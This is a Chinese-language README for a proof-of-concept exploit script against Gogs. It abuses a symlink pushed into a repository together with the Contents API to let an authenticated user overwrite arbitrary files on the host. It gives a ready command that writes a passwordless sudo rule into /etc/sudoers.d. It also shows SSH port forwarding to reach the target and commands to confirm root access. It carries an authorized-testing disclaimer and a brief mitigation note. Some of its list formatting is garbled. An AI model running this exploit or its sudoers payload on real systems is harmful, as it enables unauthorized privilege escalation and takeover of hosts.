针对 Gogs 中已验证用户任意文件写入的概念验证。 通过推送包含指向仓库外部的符号链接的仓库,然后通过 API 更新该链接的内容,已验证用户可以以运行 Gogs 账户的权限覆盖主机上的文件。
仅限授权测试和教育用途。 仅在您拥有或已获得明确书面许可的系统上运行此程序。您对使用方式负责。
malicious_link -> /path/on/host)并推送。PUT 请求以更新 malicious_link。Gogs 会跟随符号链接,并将提供的内容写入目标路径——使用其自身权限。如果 Gogs 以 root 身份运行,则这是一个直接权限提升原语(例如,向 /etc/sudoers.d/ 写入一条规则)。实际上,API PUT 才是触发写入的操作;推送只是放置了符号链接。
git 在 PATH 中可用pip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
省略 --password 将以安全方式提示输入,而不是在命令行中传递。
Gogs 通常绑定到目标机器的 localhost。使用 SSH 本地端口转发将其暴露到您的机器(调整端口以匹配目标):
ssh -L 3000:127.0.0.1:3000 user@target
# 然后将 exploit 指向 http://127.0.0.1:3000
成功运行后,在主机上(作为相关用户)检查:
cat /etc/sudoers.d/pwned
sudo -l
如果您写入了 sudoers 规则,请注意 /etc/sudoers.d/ 中的文件必须是有效的,并且具有适当的权限,sudo 才会使用它们。
auto_init 返回 HTTP 500 — 脚本回退为创建空仓库并使用本地 git init + 推送来填充。master 与 main。升级到在 Contents API 中验证符号链接的 Gogs 版本。作为纵深防御,避免以 root 身份运行 Gogs,并隔离仓库存储。
MIT — 参见 LICENSE。